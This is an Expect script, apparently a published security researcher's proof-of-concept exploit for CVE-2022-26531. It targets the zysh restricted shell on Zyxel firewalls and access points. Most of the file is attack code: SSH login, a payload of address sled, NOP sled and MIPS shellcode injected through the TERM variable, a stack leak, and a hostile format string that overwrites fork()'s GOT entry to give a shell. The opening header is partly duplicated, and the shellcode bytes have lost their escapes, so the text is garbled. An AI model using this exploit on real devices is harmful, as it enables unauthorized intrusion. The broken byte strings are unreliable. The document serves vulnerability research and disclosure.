#!/usr/bin/expect -f

#
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# "We live o #!/usr/bin/expect -f

#
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# "We live on a placid island of ignorance in the midst of black seas of
# infinity, and it was not meant that we should voyage far."
# -- H. P. Lovecraft, The Call of Cthulhu
#
# "Multiple improper input validation flaws were identified in some CLI
# commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,
# USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware
# versions 4.32 through 5.21, VPN series firmware versions 4.30 through
# 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500
# firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware
# version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version
# 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)
# and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and
# earlier versions, that could allow a local authenticated attacker to
# cause a buffer overflow or a system crash via a crafted payload."
# -- CVE-2022-26531
#
# The zysh binary is a restricted shell that implements the command-line
# interface (CLI) on multiple Zyxel products. This proof-of-concept exploit
# demonstrates how to leverage the format string bugs I have identified in
# the "extension" argument of some zysh commands, to execute arbitrary code
# and escape the restricted shell environment.
#
# - This exploit targets the "ping" zysh command.
# - It overwrites the .got entry of fork() with the shellcode address.
# - The shellcode address is calculated based on a leaked stack address.
# - Hardcoded offsets and values might need some tweaking, see comments.
# - Automation/weaponization for other targets is left as an exercise.
#
# For additional details on my bug hunting journey and on the
# vulnerabilities themselves, you can refer to the official advisory:
# https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt
#
# Usage:
# raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
# raptor_zysh_fhtagn.exp - zysh format string PoC exploit
# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Leaked stack address: 0x7fe97170
# Shellcode address: 0x7fe9de40
# Base string length: 46
# Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn
#
# *** enjoy your shell! ***
#
# sh-5.1$ uname -snrmp
# Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
# sh-5.1$ id
# uid=10007(admin) gid=10000(operator) groups=10000(operator)
#
# Tested on:
# Zyxel USG20-VPN with Firmware 5.10
# [other appliances/versions are also likely vulnerable]
#

# change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
encoding system iso8859-1

# hostile format string to leak stack address via direct parameter access
set offset1 77
set leak [format "AAAA.0x%%%d$x" $offset1]

# offsets to reach addresses in retloc sled via direct parameter access
set offset2 1801
set offset3 [expr $offset2 + 1]

# difference between leaked stack address and shellcode address
set diff 27856

# retloc sled
# $ mips64-linux-readelf -a zysh | grep JUMP | grep fork
# 112dd558 0000967f R_MIPS_JUMP_SLOT 00000000 fork@GLIBC_2.0
# ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]
set retloc [string repeat "x11x2dxd5x58x11x2dxd5x58x11x2dxd5x5ax11x2dxd5x5a" 1024]

# nop sled
# nop-equivalent instruction: xor $t0, $t0, $t0
set nops [string repeat "x01x8cx60x26" 64]

# shellcode
# https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c
set sc "x3cx0cx2fx62x25x8cx69x6exafxacxffxecx3cx0cx2fx73x25x8cx68x68xafxacxffxf0xa3xa0xffxf3x27xa4xffxecxafxa4xffxf8xafxa0xffxfcx27xa5xffxf8x28x06xffxffx24x02x17xa9x01x01x01x0c"

# padding to align payload in memory (might need adjusting)
set padding "AAA"

# print header
send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit "
send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info> "

# check command line
if { [llength $argv] != 3} {
send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass> "
exit 1
}

# get SSH connection parameters
set port "22"
set host [lindex $argv 0]
set user [lindex $argv 1]
set pass [lindex $argv 2]

# inject payload via the TERM environment variable
set env(TERM) $retloc$nops$sc$padding

# connect to target via SSH
log_user 0
spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
expect {
-nocase "password*" {
send "$pass "
}
default {
send_error "error: could not connect to ssh "
exit 1
}
}

# leak stack address
expect {
"Router? $" {
send "ping 127.0.0.1 extension $leak "
}
default {
send_error "error: could not access zysh prompt "
exit 1
}
}
expect {
-re "ping: unknown host AAAA.(0x.*) " {
}
default {
send_error "error: could not leak stack address "
exit 1
}
}
set leaked $expect_out(1,string)
send_user "Leaked stack address: $leaked "

# calculate shellcode address
set retval [expr $leaked + $diff]
set retval [format 0x%x $retval]
send_user "Shellcode address: $retval "

# extract each byte of shellcode address
set b1 [expr ($retval & 0xff000000) >> 24]
set b2 [expr ($retval & 0x00ff0000) >> 16]
set b3 [expr ($retval & 0x0000ff00) >> 8]
set b4 [expr ($retval & 0x000000ff)]
set b1 [format 0x%x $b1]
set b2 [format 0x%x $b2]
set b3 [format 0x%x $b3]
set b4 [format 0x%x $b4]

# calculate numeric arguments for the hostile format string
set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3 "]
send_user "Base string length: $base "
set n1 [expr ($b4 - $base) % 0x100]
set n2 [expr ($b2 - $b4) % 0x100]
set n3 [expr ($b1 - $b2) % 0x100]
set n4 [expr ($b3 - $b1) % 0x100]

# check for dangerous numeric arguments below 10
if {$n1 < 10} { incr n1 0x100 }
if {$n2 < 10} { incr n2 0x100 }
if {$n3 < 10} { incr n3 0x100 }
if {$n4 < 10} { incr n4 0x100 }

# craft the hostile format string
set exploit [format "%%.%du%%$offset2$n%%.%du%%$offset2$hn%%.%du%%$offset2$hhn%%.%du%%$offset3$hhn" $n1 $n2 $n3 $n4]
send_user "Hostile format string: $exploit "

# uncomment to debug
# interact +

# exploit target
set prompt "(#|\$) $"
expect {
"Router? $" {
send "ping 127.0.0.1 extension $exploit "
}
default {
send_error "error: could not access zysh prompt "
exit 1
}
}
expect {
"Router? $" {
send_error "error: could not exploit target "
exit 1
}
-re $prompt {
send_user "*** enjoy your shell! *** "
send " "
interact
}
default {
send_error "error: could not exploit target "
exit 1
}
}